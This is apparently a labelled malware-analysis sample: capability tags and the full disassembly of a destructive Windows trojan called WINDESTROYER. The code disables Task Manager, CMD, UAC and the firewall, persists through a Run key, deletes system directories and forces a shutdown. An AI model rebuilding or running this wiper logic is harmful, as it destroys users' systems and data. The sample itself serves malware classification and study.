Function at 0x401aeb
Capabilities:
Copy file
Create process on windows
Create thread
Disable system features via registry on windows
Hide graphical window
List user accounts
Persist via run registry key
Query environment variable
Set registry value
Shutdown system
Write and execute a file
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x7e4
call fcn.00404a44
mov dword [esp], 0
call fcn.00401670
mov dword [esp], eax
call sub.api_ms_win_crt_utility_l1_1_0.dll_srand
mov eax, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
call eax
sub esp, 8
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x12c]
mov dword [esp + 4], eax
mov dword [esp], str.WINDIR
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x230]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x12c]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sWINDESTROYER.EXE
lea eax, [ebp - 0x334]
mov dword [esp], eax
call fcn.004060c8
lea eax, [ebp - 0x334]
mov dword [esp], eax
call fcn.0040183d
test eax, eax
jne 0x402224
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], str.WINDESTROYER
mov dword [esp + 4], str.Warning__Youve_just_executed_an_insanely_powerful_trojan_known_as_WINDESTROYER__the_A_variant___it_can_AND_WILL_destroy_your_computer._You_will_lose_all_data__all_system_and_personal_files__and_the_ability_to_boot_into_the_OS._nWINDESTROYER_was_NEVER_intended_to_be_used_for_malicious_purposes__so_the_creator_is_not_responsible_for_any_damage._n_nThis_is_your_last_chance_to_stop_this_trojan_from_running____nContinue__There_is_no_going_back_after_this.
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
cmp eax, 7
jne 0x401be8
mov eax, 0
jmp 0x4027e0
mov dword [esp + 8], 0
lea eax, [ebp - 0x334]
mov dword [esp + 4], eax
lea eax, [ebp - 0x230]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x7b8]
mov dword [esp + 4], eax
mov dword [esp], str.USERPROFILE
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x7b8]
mov dword [esp + 8], eax
mov dword [esp + 4], str._sDesktop
lea eax, [ebp - 0x6b4]
mov dword [esp], eax
call fcn.004060c8
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x33c], 0
mov dword [ebp - 0x340], 0
mov dword [ebp - 0x344], 0
lea eax, [ebp - 0x344]
mov dword [esp + 0x1c], eax
lea eax, [ebp - 0x33c]
mov dword [esp + 0x18], eax
lea eax, [ebp - 0x338]
mov dword [esp + 0x14], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x340]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.NETAPI32.dll_NetUserEnum
sub esp, 0x20
mov dword [ebp - 0xc], 0
jmp 0x401d52
mov edx, dword [ebp - 0x340]
mov eax, dword [ebp - 0xc]
shl eax, 2
add eax, edx
mov eax, dword [eax]
mov dword [esp], eax
call fcn.00401874
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x401d4e
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x368], eax
mov edx, dword [ebp - 0x340]
mov eax, dword [ebp - 0xc]
shl eax, 2
add eax, edx
mov eax, dword [eax]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x368]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.NETAPI32.dll_NetUserSetInfo
sub esp, 0x14
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x338]
cmp dword [ebp - 0xc], eax
jb 0x401cdc
mov eax, dword [ebp - 0x340]
test eax, eax
je 0x401d86
mov eax, dword [ebp - 0x340]
mov dword [esp], eax
call sub.NETAPI32.dll_NetApiBufferFree
sub esp, 4
mov dword [ebp - 0x340], 0
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x5b0]
mov dword [esp + 4], eax
mov dword [esp], str.TEMP
mov eax, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call eax
sub esp, 0xc
lea eax, [ebp - 0x5b0]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_bg.bmp
lea eax, [ebp - 0x4ac]
mov dword [esp], eax
call fcn.004060c8
mov dword [esp + 4], 0x4082ce
lea eax, [ebp - 0x4ac]
mov dword [esp], eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x7a
mov dword [esp + 4], 1
mov dword [esp], 0x407020
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
lea eax, [ebp - 0x348]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.Control_PanelDesktop
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0x4016da
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp], 0x7d0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x348]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [ebp - 0x34c], 1
mov dword [ebp - 0x350], 0
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x354]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
lea eax, [ebp - 0x354]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x354]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x34c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableTaskMgr
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x354]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x34c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableRegistryTools
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x354]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp + 0x20], 0
lea eax, [ebp - 0x358]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREPoliciesMicrosoftWindows
mov dword [esp], 0x80000001
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov eax, dword [ebp - 0x358]
mov dword [esp + 0x20], 0
lea edx, [ebp - 0x35c]
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.System
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call eax
sub esp, 0x24
mov eax, dword [ebp - 0x35c]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x34c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.DisableCMD
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
lea eax, [ebp - 0x360]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
lea eax, [ebp - 0x334]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrlenA]
call eax
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x360]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x334]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], 0x4083ae
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x360]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
lea eax, [ebp - 0x364]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
mov eax, dword [ebp - 0x364]
mov dword [esp + 0x14], 4
lea edx, [ebp - 0x350]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0
mov dword [esp + 4], str.EnableLUA
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x364]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
mov dword [esp], 0x12c
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
lea eax, [ebp - 0x6b4]
mov dword [esp], eax
call fcn.00402c7c
sub esp, 4
mov dword [esp + 4], 0
mov dword [esp], str.netsh.exe_firewall_set_opmode_modedisabled_profileall
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], str.WINDESTROYER.exe
mov eax, dword [sym.imp.KERNEL32.dll_WinExec]
call eax
sub esp, 8
mov eax, 0
jmp 0x4027e0
call fcn.0040303a
call fcn.00403605
mov dword [esp], 1
mov eax, dword [sym.imp.USER32.dll_BlockInput]
call eax
sub esp, 4
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:Windows
mov dword [esp + 8], fcn.00402c7c
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:WindowsWinSxS
mov dword [esp + 8], fcn.00402c7c
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:WindowsSystem32
mov dword [esp + 8], fcn.00402c7c
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], str.C:WindowsSystem32
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x402f67
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetDC]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [sym.imp.USER32.dll_GetDesktopWindow]
call eax
lea edx, [ebp - 0x378]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetClientRect]
call eax
sub esp, 8
mov eax, dword [ebp - 0x10]
mov dword [0x40b0a0], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b0a4], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b0a8], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b0ac], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b0b0], eax
mov dword [0x40b0b4], 0xf
mov dword [0x40b0b8], 0
mov dword [0x40b0bc], 0x4038dc
mov eax, dword [ebp - 0x10]
mov dword [0x40b0c0], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b0c4], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b0c8], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b0cc], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b0d0], eax
mov dword [0x40b0d4], 5
mov dword [0x40b0d8], 0
mov dword [0x40b0dc], 0x403a74
mov eax, dword [ebp - 0x10]
mov dword [0x40b0e0], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b0e4], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b0e8], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b0ec], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b0f0], eax
mov dword [0x40b0f4], 0xf
mov dword [0x40b0f8], 0
mov dword [0x40b0fc], 0x403b9e
mov eax, dword [ebp - 0x10]
mov dword [0x40b100], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b104], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b108], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b10c], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b110], eax
mov dword [0x40b114], 0xf
mov dword [0x40b118], 0
mov dword [0x40b11c], 0x403d08
mov eax, dword [ebp - 0x10]
mov dword [0x40b120], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b124], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b128], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b12c], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b130], eax
mov dword [0x40b134], 0xf
mov dword [0x40b138], 0
mov dword [0x40b13c], 0x403e97
mov eax, dword [ebp - 0x10]
mov dword [0x40b140], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b144], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b148], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b14c], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b150], eax
mov dword [0x40b154], 0xf
mov dword [0x40b158], 0
mov dword [0x40b15c], 0x404050
mov eax, dword [ebp - 0x10]
mov dword [0x40b160], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b164], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b168], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b16c], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b170], eax
mov dword [0x40b174], 0xf
mov dword [0x40b178], 0
mov dword [0x40b17c], 0x40426b
mov eax, dword [ebp - 0x10]
mov dword [0x40b180], eax
mov eax, dword [ebp - 0x378]
mov dword [0x40b184], eax
mov eax, dword [ebp - 0x374]
mov dword [0x40b188], eax
mov eax, dword [ebp - 0x370]
mov dword [0x40b18c], eax
mov eax, dword [ebp - 0x36c]
mov dword [0x40b190], eax
mov dword [0x40b194], 0xf
mov dword [0x40b198], 0
mov dword [0x40b19c], 0x4043d4
mov dword [0x40b060], 0x3e80
mov dword [0x40b064], 0x3a980
mov dword [0x40b068], 0x4029d6
mov dword [0x40b06c], 0x1f40
mov dword [0x40b070], 0x1d4c0
mov dword [0x40b074], 0x402a4e
mov dword [0x40b078], 0xbb80
mov dword [0x40b07c], 0xafc80
mov dword [0x40b080], 0x402abd
mov dword [0x40b084], 0x1f40
mov dword [0x40b088], 0x1d4c0
mov dword [0x40b08c], 0x402bbd
mov dword [0x40b040], 0x404504
mov dword [0x40b044], 0x40464a
mov dword [0x40b048], 0x4048d3
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetSystemMetrics]
call eax
sub esp, 4
mov dword [ebp - 0x14], eax
mov dword [esp], 1
mov eax, dword [sym.imp.USER32.dll_GetSystemMetrics]
call eax
sub esp, 4
mov dword [ebp - 0x18], eax
mov dword [esp], 0
call fcn.00401670
mov dword [esp], eax
call sub.api_ms_win_crt_utility_l1_1_0.dll_srand
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x401917
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 7
mov dword [esp + 8], 0x40194a
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 7
mov dword [esp + 8], 0x40194a
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
sub esp, 8
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_BlockInput]
call eax
sub esp, 4
mov dword [esp + 4], 0x10000
mov dword [esp], 0xc
mov eax, dword [sym.imp.USER32.dll_ExitWindowsEx]
call eax
sub esp, 8
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret